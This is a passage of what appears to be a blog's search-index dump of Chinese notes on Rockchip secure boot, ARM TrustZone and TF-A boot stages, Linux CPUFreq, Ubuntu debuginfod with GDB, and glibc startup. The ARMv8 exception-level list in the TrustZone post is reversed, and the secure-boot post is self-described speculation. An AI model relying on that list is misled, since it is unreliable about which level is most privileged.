eFUSE，因为它的工作原理跟现实中的保险丝类似：CPU 在出厂后，这块 eFUSE 空间内所有的比特都是 1，如果向一个比特烧写 0，就会彻底烧死这个比特，再也无法改变它的值，也就是再也回不去 1 了。rk3399 使用的在efuse 里存储了Public Key 的 Hash 值。\nFirst Stage Bootloader（FSBL） # FSBL 的作用是初始化 PCB 板上的其他硬件设备，给外部 RAM 映射内存空间，从 eMMC 的 GPT 分区上加载验证并执行接下来的启动程序。\n根信任的建立 # CPU 通电后执行的第一行指令就是 bootROM 的入口，bootROM 将初始化各种 CPU 内部的模块，但最主要的是，它会读取 eFUSE 上的内容，首先它会判断当前的运行模式是不是生产模式，是的话会开启 Secure Boot 功能，然后把 Secure Boot Key 加载到一个 Security Engine 的 Keyslot 当中，有时候它还会通过 Key Derivation 从 Secure Boot Key 或别的 eFUSE 内容生成多几个不同用途的密钥，分别加载到不同的 Keyslots 中。然后它会从 eMMC 上加载 FSBL，FSBL 里面会有一个数字签名和公钥证书，bootROM 会验证这个签名的合法性，以及根证书的 Hash 是否和 eFUSE 中的 Signing Key 的 Hash 相同。如果验证通过，说明 FSBL 的的确确是 OEM 正式发布的，没有受到过篡改。于是 bootROM 就会跳转到 FSBL 执行接下来的启动程序。有些 CPU 在跳转之前会把 bootROM 的内存区间设为不可见，防止 FSBL 去读取 bootROM。有些 CPU 还会禁止 eFUSE 的读写，或者至少 Secure Boot Key 区域的读取权限，来防止 FSBL 泄漏根信任的解密密钥。还有要注意的是，FSBL 是被加载到了 iRAM 上执行的，而且 FSBL 仍然拥有 EL3 级别的权限。\nFSBL 会进一步初始化 PCB 板上的别的硬件，比如外部的 RAM 芯片等等，使其不再受限于 iRAM 的内存空间。然后它会进一步加载 eMMC 上的内容到 RAM。我们接下来会着重讲讲跟 Secure Boot 密切相关的启动内容。\n猜想 RK 3399 的 Security Boot机制 # 长话短说，要做到安全启动，那么就必须做到两点\n固件安全性验证 固件完整性验证 安全性校验是加密公钥的校验，流程为CPU上电后从安全存储（OTP\u0026amp;efuse）中读取公钥 hash，与计算的公钥 hash对比，是否一致，然后解密固件 hash。 完整性校验为校验固件的完整性，流程为从存储里加载固件，计算固件的 hash 是否与解密出来的 hash 一致。 Android上的 AVB 和 DM-V 不在讨论范围内，这里只讨论CPU上电后到 Uboot 的验证流程。\n启动流程 # 首先搞清楚 RK 的启动流程\nBootROM -\u0026gt; Maskrom ‐\u0026gt; Loader ‐\u0026gt; Trust ‐\u0026gt; U‐Boot ‐\u0026gt; kernel ‐\u0026gt; Android\n个人理解 对应的 BL X 阶段\nBootROM，Maskrom（BL1） Loader（BL2）：\nTrust（BL31：ARM Trusted Firmware和 OP-TEE）\nU-Boot（BL33）\n首先 OEM 做了什么 # OEM生成私钥→私钥生成公钥→ 计算公钥 hash 值 →将公钥 hash 写入 efuse OEM 使用 私钥签名自己的固件包，如 loader/trust/uboot 等 Maskrom 刷机模式下 # Public Key Hash 储存在在芯片的 OTP(eFuse)上，CPU 上电后 RootRom 读取的 eFUSE 内部的公钥 hash， 当使用组合键尝试进入Maskrom，引发中断，BootROM 进入 Maskrom 下 Maskrom 先使用 OTP(eFuse) 中的 Hash 校验固件的 Public Key，如果校验失败那么抱歉禁止刷机。 Public Key 解密固件内的数字签名，得到固件各个分区的的 hash，然后 Maskrom 计算 loader/trust/uboot 的 hash，与数字签名的 hash 对比看是否一致，如果一致那就说明 loader/trust/uboot 都是 OEM 的，如果校验不过，那么抱歉禁止刷机。 也就是说 Rk 的security boot 能保证固件的安全性到 uboot 为止，至于uboot 如何安全引导 Kernel 那就是另外一回事了，比如内核与文件系统的 AVB，DM-V 安全机制。\n根据公开资料显示，rk3399 用的是 eFUSE 存储区域，而 RK3308 / RK3326 / PX30 / RK3328 这些用的是 OPT 存储区域。所以 eFUSE 是在Soc 内部吗？如果是外部的话那么直接拆掉eFUSE 不久行了，所以eFUSE 应该是在 SoC 内部，这就是为啥B站上的垃圾佬捡到某些开启 Security Boot 的板子直接把 RK3399 SoC 拿下来换新的 Soc 上去，因为eFUSE 在 SoC 内部。\n","date":"24 July 2023","externalUrl":null,"permalink":"/posts/securitybootrk3399/","section":"Posts","summary":"记录 Rockchip 平台安全启动链路的理解，包括 bootROM、密钥、镜像验证和启动阶段。\n","title":"Rockchip 安全启动的一点猜想","type":"posts"},{"content":"","date":"24 July 2023","externalUrl":null,"permalink":"/tags/secure-boot/","section":"Tags","summary":"","title":"Secure-Boot","type":"tags"},{"content":"","date":"20 July 2023","externalUrl":null,"permalink":"/tags/arm/","section":"Tags","summary":"","title":"Arm","type":"tags"},{"content":"全部都是个人理解，非常个人的理解；如果你想看严谨文档，建议直接去读 ARM 和 TF-A 官方资料。\nARM TrustZone 是什么 # TrustZone 技术与 Cortex-A 处理器紧密集成，并通过 AMBA-AXI 总线和特定的 TrustZone 系统 IP 块在系统中进行扩展。此系统方法意味着可以保护安全内存、加密块、键盘和屏幕等外设，从而可确保它们免遭软件攻击。\n了解 Exception Levels 0-3 和 Security state # ARMv8 的异常级别分为 EL0-EL3，EL0 权限最低，EL3 权限最高。通常情况下的 EL0-EL3 模型：\n**EL3：**用户态APP\n**EL2：**特权级内核及相关函数。\n**EL1：**提供对处理器虚拟化的支持。\n**EL0：**Secure monitor. CPU内的 BootRom代码\n在 Cortex-A53 者更高版本的的处理器上，EL0-3 还支持各自的 Secure state。\n那什么是 Security state ？\n两种状态Secure 和Non-secure 对应的是 Trusted world 和 **Non-trusted world，**从高层次看，Trusted world和 Non-trusted world 把一个物理处理器分成了两个虚拟处理器核心，两个 world 之间代码行和数据是隔离的，并通过NS位来控制 Non-trusted world 和Trusted world 的地址空间访问，NS 为 0，表示进入Secure status，NS 为 1 表示 Non-secure\n在Secure 和Non-secure视角下的物理内存分布：\n跑在 Secure state 下的代码可以访问其所在异常级别和更高级别的所以资源，跑在 Non-secure 下的代码就受限了，可以访问其所在异常级别和更高级别的 Non-secure 资源，但不能访问 Secure state 下控制的资源。比如跑在 Secure state EL 3 下的代码可以访问整个系统的资源，这类的代码一般是芯片厂商固化在CPU内的 Boot Rom 第一段引导程序，当 CPU 上电时，Boot Rom 用于初始化主板板CPU和内存。\n在 AARCH64 中，EL3 只存在在 Secure state 之下，AARCH32 模式下，EL3 存在在 Secure state和Non-Secure state。\n好了点到为止。\nBL 1 # AARCH64 的启动基本分为 Bootrom -\u0026gt; BL1 -\u0026gt; BL2 -\u0026gt; (BL31/BL32/BL33) 这几个阶段。\n通常情况下，CPU上电后运行的 Boot Rom 代码我们说他们是可信的，运行在 EL3，上电运行Boot Rom 的阶段在 BL1，这里有个例子就是我的 S905X3 的 eMMC 被我吹风机吹坏，不插 SD card和 U盘的情况，板子上电后在串口反复打印：\nSM1:BL:511f6b:81ca2f;FEAT:A0F83180:20282000;POC:F;RCY:0;eMMC:0;READ:E;READ:800;READ:800;SD?:0;SD:0;READ:0;0.0;C; 因为 eMMC 和 SRCARD 都插盒子，CPU 上电后芯片内部的 Boot Rom 内的代码找不到任何引导，就反复尝试且反复报错。\n在 arm-trusted-firmware 的 arm-trusted-firmware/bl1_main.c at master · ARM-software/arm-trusted-firmware (github.com) 内的 bl1_main 函数内定义了 CPU BootROM 上电后的 BL1 逻辑。\n# Sourcegraph 语法，直接粘贴到 Sourcegraph 定位代码 repo:^github\\.com/ARM-software/arm-trusted-firmware$@6264643 file:^bl1/bl1_main\\.c 主要干了三件事：\n架构初始化 判断cold reset还是warm reset 建立简单的 exception vectors CPU初始化，参考函数reset_hardler 配置控制寄存器，SCTLR_EL3、SCR_EL3、CPTR_EL3、DAIF、MDCR_EL3等等 平台初始化 通过 bl1_load_bl2() 加载 BL2 所以 BL1 是开源的咯，其实基本上 Soc 芯片厂商的 BL1 都是闭源的，可以理解为 arm-trusted-firmware/bl1_main.c 只是一个参考，真正的 BL1 实现是 Soc 厂商内部的机密。然后你再去意会下 arm-trusted-firmware 的 README 中的 reference implementation\n你 get 到了我的意思了吗，第一阶段的引导代码 BL1 是专有的，BL1 的控制权在厂商而不是在用户，放眼今朝，如果你真的想要对硬件做到完全的控制，每一处细节每一处代码，完全的 OpenSource，那么对不起，基本做不到，也基本不可能。\n举个例子，虽然 uboot 对 Amlogic s905x3 Soc 的支持程序相当好了，但 uboot 仍然需要一堆专有的 binaries 来初始化硬件，如这些：\nAmlogic 提供二进制文件的许可证在历史上并不明确，但现在已经澄清。 当前的 Amlogic 分发许可证如下：\n// Copyright (C) 2018 Amlogic, Inc. All rights reserved. // // All information contained herein is Amlogic confidential. // // This software is provided to you pursuant to Software License // Agreement (SLA) with Amlogic Inc (\u0026#34;Amlogic\u0026#34;). This software may be // used only in accordance with the terms of this agreement. // // Redistribution and use in source and binary forms, with or without // modification is strictly prohibited without prior written permission // from Amlogic. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // \u0026#34;AS IS\u0026#34; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 这些专有的 binaries 可在在 [https://github.com/LibreELEC/amlogic-boot-fip](https://github.com/LibreELEC/amlogic-boot-fip) 被找到。然后使用 ./build-fip.sh 来构建实际可用的 U-Boot.bin。\n我手上有块 rk3399 eaidk 610 的板子，假设固件没有被人为修改，那么\nBL1 对应 RK 的 Maskrom，周所周知 Maskrom 是闭源的 BL2 对应 RK 的 Miniloader，Miniloader 也是闭源的 BL3-1 对应 PSCI、Secure Monitor 功能支持的固件 BL3-2 和 BL3-3 对应 RK的 Uboot Rockchip 的 BL1/BL2 都是闭源的，其实也可以理解。RK 只使用了 ARM-Trust-Firmware 的 BL31 代码。这就是为什么构建 U-boot的时候需要 bl31.elf 的原因。\nBL3 干了什么 # BL3 由 BL2 加载，BL1 将控制权传递给 EL3 处的 BL3-1。 BL3-1 仅在受信任的 SRAM 中执行。\nBL3-1 链接并加载到特定于平台的基地址。 BL3-1 实现的功能：\n架构初始化 # BL3-1 执行与 BL1 类似的架构初始化。 由于 BL1 代码驻留在 ROM 中，因此 BL3-1 中的体系结构初始化允许覆盖 BL1 之前完成的任何初始化。 BL3-1 创建页表来寻址前 4GB 的物理地址空间，并相应地初始化 MMU。 它用自己的替换了 BL1 填充的异常向量。 如果引发意外异常，BL3-1 异常向量会以与 BL1 相同的方式指示错误条件。 他们为处理 SMC 实现了更精细的支持，因为这是访问 BL3-1（例如 PSCI）实现的运行时服务的唯一机制。 在将控制传递给所需的 SMC 处理程序之前，BL3-1 检查每个 SMC 的有效性，如 SMC 调用约定 PDD 所指定的那样。 BL3-1 使用平台提供的系统计数器的时钟频率对 CNTFRQ_EL0 寄存器进行编程。\n平台初始化 # BL3-1 执行详细的平台初始化，使正常世界的软件能够正常运行。 它还从 BL2 填充的平台定义内存地址检索 BL2 加载的 BL3-3 图像的入口点信息。 BL3-1 还初始化 UART0（PL011 控制台），它可以访问 BL3-1 中的 printf 函数系列。 它通过内存映射接口启用通用定时器的系统级实现。\nGICv2初始化： # 建议 Google\n电源管理初始化： # BL3-1 实现了一个状态机来跟踪 CPU 和集群状态。 状态可以是 OFF、ON_PENDING、SUSPEND 或 ON 之一。 所有辅助 CPU 最初都处于关闭状态。 主CPU所属集群ON； 任何其他集群都关闭。 BL3-1 初始化实现状态机的数据结构，包括保护它们的锁。 BL3-1 在复位后和在热启动路径中启用 MMU 之前立即访问 CPU 或集群的状态。 目前不可能使用基于“独占”的自旋锁，因此 BL3-1 使用基于 Lamport 的 Bakery 算法的锁。 BL3-1 在设备内存中分配这些锁。 无论 MMU 状态如何，它们都是可访问的。\n运行时服务初始化： # 建议 Google\n怎么触发 BL31-Kernel 层的交互 # No Secure OS（Linux）和 Secure OS,如果需要同 BL31 进行交互，可以通过两种 方法： 方法 1：通过显示的调用 SMC 指令，主动申请陷入 BL31. 方法 2：将中断配置为需要在 EL3 中处理，这个功能主要针对安全的中断，系统 运行在 Linux Kernel 时，系统会先进入 BL31，然后在 BL31 中切换到 Secure OS 中进行处理。\nBL3，BL3 又分为 BL31，BL32，BL33。我第一次看见BL33的时候以为ARM处理器的BL阶段有33个阶段，可以说这个命名是非常随意了。\nBL1-3的所有代码统称叫 Application processor firmware。\n","date":"20 July 2023","externalUrl":null,"permalink":"/posts/armtrustzone/","section":"Posts","summary":"全部都是个人理解，非常个人的理解；如果你想看严谨文档，建议直接去读 ARM 和 TF-A 官方资料。\n","title":"ARMv8-A 可信固件乱谈","type":"posts"},{"content":"","date":"20 July 2023","externalUrl":null,"permalink":"/tags/trusted-firmware-a/","section":"Tags","summary":"","title":"Trusted-Firmware-A","type":"tags"},{"content":"","date":"20 July 2023","externalUrl":null,"permalink":"/tags/trustzone/","section":"Tags","summary":"","title":"Trustzone","type":"tags"},{"content":"","date":"17 July 2023","externalUrl":null,"permalink":"/tags/cpufreq/","section":"Tags","summary":"","title":"Cpufreq","type":"tags"},{"content":"整理 Linux CPU 调频策略和调度相关配置，记录不同 governor 的行为差异。\n策略： # sched：EAS 使用的调频策略。 interactive：根据 CPU 负载动态调频调压； conservative：保守策略，逐级调整频率和电压； ondemand：根据 CPU 负载动态调频调压，比 interactive 策略反应慢； userspace：用户自己设置电压和频率，系统不会自动调整； powersave：功耗优先，始终将频率设置在最低值； performance：性能优先，始终将频率设置为最高值。 时钟配置 # 每个 CPU 节点下都有个 Clocks 属性，具体的名字由 CRU 模块决定，不同的平台有不同的名字。如：dt-bindings/clock/rk3399-cru.h\n大核 A72 为 ARMCLKB 小核 A53 为 ARMCLKL cpu_l0: cpu@0 { device_type = \u0026#34;cpu\u0026#34;; compatible = \u0026#34;arm,cortex-a53\u0026#34;, \u0026#34;arm,armv8\u0026#34;; reg = \u0026lt;0x0 0x0\u0026gt;; enable-method = \u0026#34;psci\u0026#34;; #cooling-cells = \u0026lt;2\u0026gt;; /* min followed by max */ dynamic-power-coefficient = \u0026lt;100\u0026gt;; clocks = \u0026lt;\u0026amp;cru ARMCLKL\u0026gt;; cpu-idle-states = \u0026lt;\u0026amp;CPU_SLEEP \u0026amp;CLUSTER_SLEEP\u0026gt;; }; cpu_b0: cpu@100 { device_type = \u0026#34;cpu\u0026#34;; compatible = \u0026#34;arm,cortex-a72\u0026#34;, \u0026#34;arm,armv8\u0026#34;; reg = \u0026lt;0x0 0x100\u0026gt;; enable-method = \u0026#34;psci\u0026#34;; #cooling-cells = \u0026lt;2\u0026gt;; /* min followed by max */ dynamic-power-coefficient = \u0026lt;436\u0026gt;; clocks = \u0026lt;\u0026amp;cru ARMCLKB\u0026gt;; cpu-idle-states = \u0026lt;\u0026amp;CPU_SLEEP \u0026amp;CLUSTER_SLEEP\u0026gt;; }; 电压控制 # 电压方案是不同的没有统一标准，一般又BSP上游提供，下游一般无需更改，CPU 的电压域配置一般在SoC对应的 DTSI 中，需要对每个 Node 节点进行配置，即每个 CPU 节点增加 CPU-supply 属性：\ndd_cpu_b: syr827@40 { compatible = \u0026#34;silergy,syr827\u0026#34;; reg = \u0026lt;0x40\u0026gt;; vin-supply = \u0026lt;\u0026amp;vcc5v0_sys\u0026gt;; regulator-compatible = \u0026#34;fan53555-reg\u0026#34;; pinctrl-0 = \u0026lt;\u0026amp;vsel1_gpio\u0026gt;; vsel-gpios = \u0026lt;\u0026amp;gpio1 17 GPIO_ACTIVE_HIGH\u0026gt;; regulator-name = \u0026#34;vdd_cpu_b\u0026#34;; egulator-min-microvolt = \u0026lt;712500\u0026gt;; regulator-max-microvolt = \u0026lt;1500000\u0026gt;; regulator-ramp-delay = \u0026lt;1000\u0026gt;; fcs,suspend-voltage-selector = \u0026lt;1\u0026gt;; regulator-always-on; regulator-boot-on; regulator-initial-state = \u0026lt;3\u0026gt;; regulator-state-mem { regulator-off-in-suspend; }; }; vdd_cpu_l: DCDC_REG2 { regulator-always-on; regulator-boot-on; regulator-min-microvolt = \u0026lt;750000\u0026gt;; regulator-max-microvolt = \u0026lt;1350000\u0026gt;; regulator-ramp-delay = \u0026lt;6001\u0026gt;; regulator-name = \u0026#34;vdd_cpu_l\u0026#34;; regulator-state-mem { regulator-off-in-suspend; }; }; 每个CPU配置：\n\u0026amp;cpu_l0 { cpu-supply = \u0026lt;\u0026amp;vdd_cpu_l\u0026gt;; }; \u0026amp;cpu_l1 { cpu-supply = \u0026lt;\u0026amp;vdd_cpu_l\u0026gt;; }; \u0026amp;cpu_l2 { cpu-supply = \u0026lt;\u0026amp;vdd_cpu_l\u0026gt;; }; \u0026amp;cpu_l3 { cpu-supply = \u0026lt;\u0026amp;vdd_cpu_l\u0026gt;; }; \u0026amp;cpu_b0 { cpu-supply = \u0026lt;\u0026amp;vdd_cpu_b\u0026gt;; }; \u0026amp;cpu_b1 { cpu-supply = \u0026lt;\u0026amp;vdd_cpu_b\u0026gt;; }; 频率电压表在 DTSI 中会有默认配置，在每个 CPU 节点下有 operating-Points-V2 属性，并且有个 opp Table 的节点和它配合使用。可以在板级 DTSI 或者 DTS 中增加新的 OPP TABLE覆盖 DTSI 中的配置。\n内核配置 # 需要生成正确的.config 自行 Google。\nsysfs 提供接口：\n/sys/devices/system/cpu/cpufreq/policy0/scaling_governor 多个 cluster 有多个 scaling_governor 节点如，需要一起调整。 CPU 定频需要把 scaling_governor 切换成 userspace，然后写入期望的频率\necho 216000 \u0026gt; /sys/devices/system/cpu/cpu0/cpufreq/scaling_setspeed","date":"17 July 2023","externalUrl":null,"permalink":"/posts/cpufreq/","section":"Posts","summary":"整理 Linux CPU 调频策略和调度相关配置，记录不同 governor 的行为差异。\n","title":"Linux CPUFreq 调试笔记","type":"posts"},{"content":"","date":"17 July 2023","externalUrl":null,"permalink":"/categories/linux-kernel/","section":"Categories","summary":"","title":"Linux-Kernel","type":"categories"},{"content":"","date":"17 July 2023","externalUrl":null,"permalink":"/tags/linux-kernel/","section":"Tags","summary":"","title":"Linux-Kernel","type":"tags"},{"content":"","date":"17 July 2023","externalUrl":null,"permalink":"/tags/scheduler/","section":"Tags","summary":"","title":"Scheduler","type":"tags"},{"content":"","date":"7 July 2023","externalUrl":null,"permalink":"/tags/debug-symbols/","section":"Tags","summary":"","title":"Debug-Symbols","type":"tags"},{"content":"Linux 生态是开源的，所以调试所需的源码和 debug symbol 可以很方便地获取到。方便到什么程度？如果使用 Ubuntu Jammy 以上版本，那么：\napt source 获取到源码 [http://ddebs.ubuntu.com](http://ddebs.ubuntu.com) 提供了打包好的 debug symbol [https://debuginfod.ubuntu.com](https://debuginfod.ubuntu.com) 在线提供某个组件或库的 debug symbol ddebs 下载 debug symbol # Ubuntu 发布的二进制文件的 debug symbol 存储在 [debuginfod.ubuntu.com](https://debuginfod.ubuntu.com) 中，并且以 -dbgsym 结尾，如 wget 对应的 debug symbol 包名为 wget-dbgsym。\n在 /etc/apt/sources.list.d/ddebs.list 中加入如下内容：\ndeb http://ddebs.ubuntu.com jammy main restricted universe multiverse deb http://ddebs.ubuntu.com jammy-updates main restricted universe multiverse deb http://ddebs.ubuntu.com jammy-proposed main restricted universe multiverse ddebs 的密钥环属于 ubuntu-dbgsym-keyring 这个包，所以在 apt update 之前需要 sudo apt install ubuntu-dbgsym-keyring\n然后就可以下载 -dbgsym 包了，所有调试符号被安装在 /usr/lib/debug/ 下，如 wget-dbgsym\n$ dpkg -L wget-dbgsym /. /usr /usr/lib /usr/lib/debug /usr/lib/debug/.build-id /usr/lib/debug/.build-id/ef /usr/lib/debug/.build-id/ef/1ccd6daeaf8bb406137eb3b9890a863348505f.debug /usr/share /usr/share/doc /usr/share/doc/wget-dbgsym 此时 使用 GDB 调试 /usr/bin/wget 会发现 GDB 自动读取了 wget 的debug symbol。\nroot@rockpin10bc:~# gdb /usr/bin/wget GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1 Copyright (C) 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;aarch64-linux-gnu\u0026#34;. Type \u0026#34;show configuration\u0026#34; for configuration details. For bug reporting instructions, please see: \u0026lt;https://www.gnu.org/software/gdb/bugs/\u0026gt;. Find the GDB manual and other documentation resources online at: \u0026lt;http://www.gnu.org/software/gdb/documentation/\u0026gt;. For help, type \u0026#34;help\u0026#34;. Type \u0026#34;apropos word\u0026#34; to search for commands related to \u0026#34;word\u0026#34;... Reading symbols from /usr/bin/wget... Reading symbols from /usr/lib/debug/.build-id/ef/1ccd6daeaf8bb406137eb3b9890a863348505f.debug... (gdb) ubuntu 在线提供 debug symbol # 使用Ubuntu 提供的 debuginfod 服务那就更方便了，只需要\n在设置环境变量 DEBUGINFOD_URLS 为\u0026quot;https://debuginfod.ubuntu.com\u0026quot;。 GDB 设置 set debuginfod enabled on 使用 file 加载需要调试的文件，如 file /usr/bin/htop，GDB 自动从 debuginfod 上下载对应的 debug symbol 到${HOME}/.cache/debuginfod_client/ 中。 ihexon@shell~\u0026gt; set -x DEBUGINFOD_URLS \u0026#34;https://debuginfod.ubuntu.com\u0026#34; ihexon@shell~\u0026gt; gdb GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1 Copyright (C) 2022 Free Software Foundation, Inc. pwndbg\u0026gt; set debuginfod enabled on pwndbg\u0026gt; file /usr/bin/htop Reading symbols from /usr/bin/htop... Downloading 0.43 MB separate debug info for /usr/bin/htop Reading symbols from /home/ihexon/.cache/debuginfod_client/d5c60ef81f367defb890a7a080ea27a209139ef7/debuginfo... 当然也可以在 ~/.gdbinit 写入 set debuginfod enabled on 来确保 GDB 每次都使用debuginfod 服务。\n关闭 debuginfod 服务只需要在 GDB 内执行 set debuginfod enabled off\ndebuginfod 是怎么找到 对应的 debug symbol 的 # debuginfod 依赖于一个唯一的哈希值来标记二进制文件和共享库（称为 Build-ID）。 这个 160 位 SHA-1 哈希值由编译器生成，可以使用 readelf 工具进行查询：\nihexon@shell ~\u0026gt; readelf -n /usr/bin/bash Displaying notes found in: .note.gnu.build-id Owner Data size Description GNU 0x00000014 NT_GNU_BUILD_ID (unique build ID bitstring) Build ID: 4dadac332a3aaef2b0eca910734ed6f8834d0b9b Displaying notes found in: .note.ABI-tag Owner Data size Description GNU 0x00000010 NT_GNU_ABI_TAG (ABI version tag) OS: Linux, ABI: 3.7.0 当gdb 调试程序时，GDB 会将程序的 Build-ID 发送到 debuginfod 服务器也就是Ubuntu 的 https://debuginfod.ubuntu.com，debuginfod 服务器检查是否具有该二进制文件/库的相应调试信息。 如果有，那么它将通过 HTTPS 将调试符号发送回 GDB。\n所以大陆玩家可能还需要设置 http_proxy/https_proxy 顺利访问到 debuginfod 服务。\n在调试的同时找到对应的源码 # Ubuntu 中使用 apt source 来获取对应的源码包，比如 apt source wget，apt 工具会自动解压并且打上上 Ubuntu 的 patch。 使用 set substitute-path . \u0026lt;src-dir\u0026gt; 映射其源码路径就可以了，如 set substitute-path . /home/ihexon/wget-1.21.2。 使用 list 就可以查看源码了 BUGs # 似乎是 dbgsym 包的问题，GDB 在 info functions \u0026lt;function_name\u0026gt; 的时候显示的是错误的，如\nmain 函数咋会在 ../lib/../../lib/base32.c 中？并且base32.c 根本就没有 1359 行。\n","date":"7 July 2023","externalUrl":null,"permalink":"/posts/ubuntudebugsymbol/","section":"Posts","summary":"Linux 生态是开源的，所以调试所需的源码和 debug symbol 可以很方便地获取到。方便到什么程度？如果使用 Ubuntu Jammy 以上版本，那么：\n","title":"GDB 调试本地程序和库","type":"posts"},{"content":"GDB 在BinaryHacking 的 _start 处下断点，发现执行的汇编代码咋和想象中的不太一样?\nGDB非预期的在 libc.so 中的 _dl_start 下断点 # GDB 在BinaryHacking 的 _start 处下断点，发现执行的汇编代码咋和想象中的不太一样?\nGDB 在 0x0000000000400480 处中断程序运行，但是run 之后发现咋跳到一个 奇怪的位置执行_dl_start，并且汇编代码完全不同： objdump -d BinaryHacking -j.text --disassemble=\u0026quot;_start\u0026quot; 输出：\n这完全是两个不同的函数，并且地址也不一样，一个是0x0000000000400480，一个是0x0000007fb7fdac28。0x0000007fb7fdac28 处的 _dl_start 实际上是 GNU LIBC 的 _dl_start 函数，GDB 是先跳转到 libc.so 中的 _dl_tart 函数去执行了，然后再跳转到 BinaryHacking 的 _start 执行。\n但如果我要调试的是被调试 ELF 文件中的 _start 而不是 libc.so 中的_dl_start 怎么办？\n使用 info functions 指令查看 _start 在 ELF 中的地址，然后 使用 b *address 在 ELF 处的 _start 下断点。\n比如说 _start 的地址为：\n使用 b *0x0000000000400480 打断点。使用 run 运行到 0x0000000000400480 处查看汇编代码：\n这回确实是被调试 ELF 中的 _start入口函数了。\nlibc.so 中的 _dl_start 函数 # 感兴趣的同学可以自己去stepin GNU LIBC 的_dl_start，但前提是你有足够的时间不至于气的掀桌子。\n然后源码分析可以看这里 _dl_start源码分析___dl_start入参_二侠的博客-CSDN博客\n但基本上都符合下面的给出的流程。\nStatically-linked 文件\nThe ELF headers points program start at _start. _start (sysdeps/mach/hurd/i386/static-start.S) calls _hurd_stack_setup _hurd_stack_setup (sysdeps/mach/hurd/i386/init-first.c) calls first_init which calls __mach_init to initialize enough to run RPCs, then runs the _hurd_preinit_hook hooks, which initialize global variables of libc. _hurd_stack_setup (sysdeps/mach/hurd/i386/init-first.c) calls _hurd_startup. _hurd_startup (hurd/hurdstartup.c) gets hurdish information from servers and calls its main parameter. the main parameter was actually doinit (in sysdeps/mach/hurd/i386/init-first.c), which mangles the stack and calls doinit1 which calls init. init sets threadvars, tries to initialize threads (and perhaps switches to the new stack) and gets to call init1. init1 gets the Hurd block, calls _hurd_init on it _hurd_init (hurd/hurdinit.c) initializes initial ports, starts the signal thread, runs the _hurd_subinit hooks (init_dtable hurd/dtable.c notably initializes the FD table and the _hurd_fd_subinit hooks, which notably checks std*). We are back to _start, which jumps to _start1 which is the normal libc startup which calls __libc_start_main __libc_start_main (actually called LIBC_START_MAIN in csu/libc-start.c) initializes libc, tls, libpthread, atexit __libc_start_main calls initialization function given as parameter __libc_csu_init, __libc_csu_init (csu/elf-init.c) calls preinit_array_start functions __libc_csu_init calls _init _init (sysdeps/i386/crti.S) calls PREINIT_FUNCTION, (actually libpthread on Linux, __gmon_start__ on hurd) back to __libc_csu_init calls init_array_start functions back to __libc_start_main, it calls calls application\u0026rsquo;s main, then exit. dynamically-linked ELF文件\ndl.so ELF headers point its start at _start. _start (sysdeps/i386/dl-machine.h) calls _dl_start. _dl_start (elf/rtld.c) initializes bootstrap_map, calls _dl_start_final _dl_start_final calls _dl_sysdep_start. _dl_sysdep_start (sysdeps/mach/hurd/dl-sysdep.c) calls __mach_init to initialize enough to run RPCs, then calls _hurd_startup. _hurd_startup (hurd/hurdstartup.c) gets hurdish information from servers and calls its main parameter. the main parameter was actually go inside _dl_sysdep_start, which calls dl_main. dl_main (elf/rtld.c) interprets ld.so parameters, loads the binary and libraries, calls _dl_allocate_tls_init. we are back to go, which branches to _dl_start_user. _dl_start_user (./sysdeps/i386/dl-machine.h) runs RTLD_START_SPECIAL_INIT (sysdeps/mach/hurd/i386/dl-machine.h) which calls _dl_init_first. _dl_init_first (sysdeps/mach/hurd/i386/init-first.c) calls first_init which calls __mach_init to initialize enough to run RPCs, then runs the _hurd_preinit_hook hooks, which initialize global variables of libc. _dl_init_first calls init. init sets threadvars, tries to initialize threads (and perhaps switches to the new stack) and gets to call init1. init1 gets the Hurd block, calls _hurd_init on it _hurd_init (hurd/hurdinit.c) initializes initial ports, starts the signal thread, runs the _hurd_subinit hooks (init_dtable hurd/dtable.c notably initializes the FD table and the _hurd_fd_subinit hooks, which notably checks std*). we are back to _dl_start_user, which calls _dl_init (elf/dl-init.c) which calls application initializers. _dl_start_user jumps to the application\u0026rsquo;s entry point, _start _start (sysdeps/i386/start.S) calls __libc_start_main __libc_start_main (actually called LIBC_START_MAIN in csu/libc-start.c) initializes libc, atexit, __libc_start_main calls initialization function given as parameter __libc_csu_init, __libc_csu_init (csu/elf-init.c) calls _init _init (sysdeps/i386/crti.S) calls PREINIT_FUNCTION, (actually libpthread on Linux, __gmon_start__ on hurd) back to __libc_csu_init calls init_array_start functions back to __libc_start_main, it calls application\u0026rsquo;s main, then exit. ","date":"7 July 2023","externalUrl":null,"permalink":"/posts/libcdlstart/","section":"Posts","summary":"GDB 在BinaryHacking 的 _start 处下断点，发现执行的汇编代码咋和想象中的不太一样?\n","title":"libc.so _start 调试记录","type":"posts"},{"content":"","date":"7 July 2023","externalUrl":null,"permalink":"/tags/ubuntu/","section":"Tags","summary":"","title":"Ubuntu","type":"tags"},{"content":"整理 2023 HVV 面试和安全基础问题笔记，包括 WebSocket、协议升级和常见攻防知识点。\nWebSocket 流量特征 # 通常是复用 80和 443 端口，在原有的http协议上生成。upgrade : WebSocket 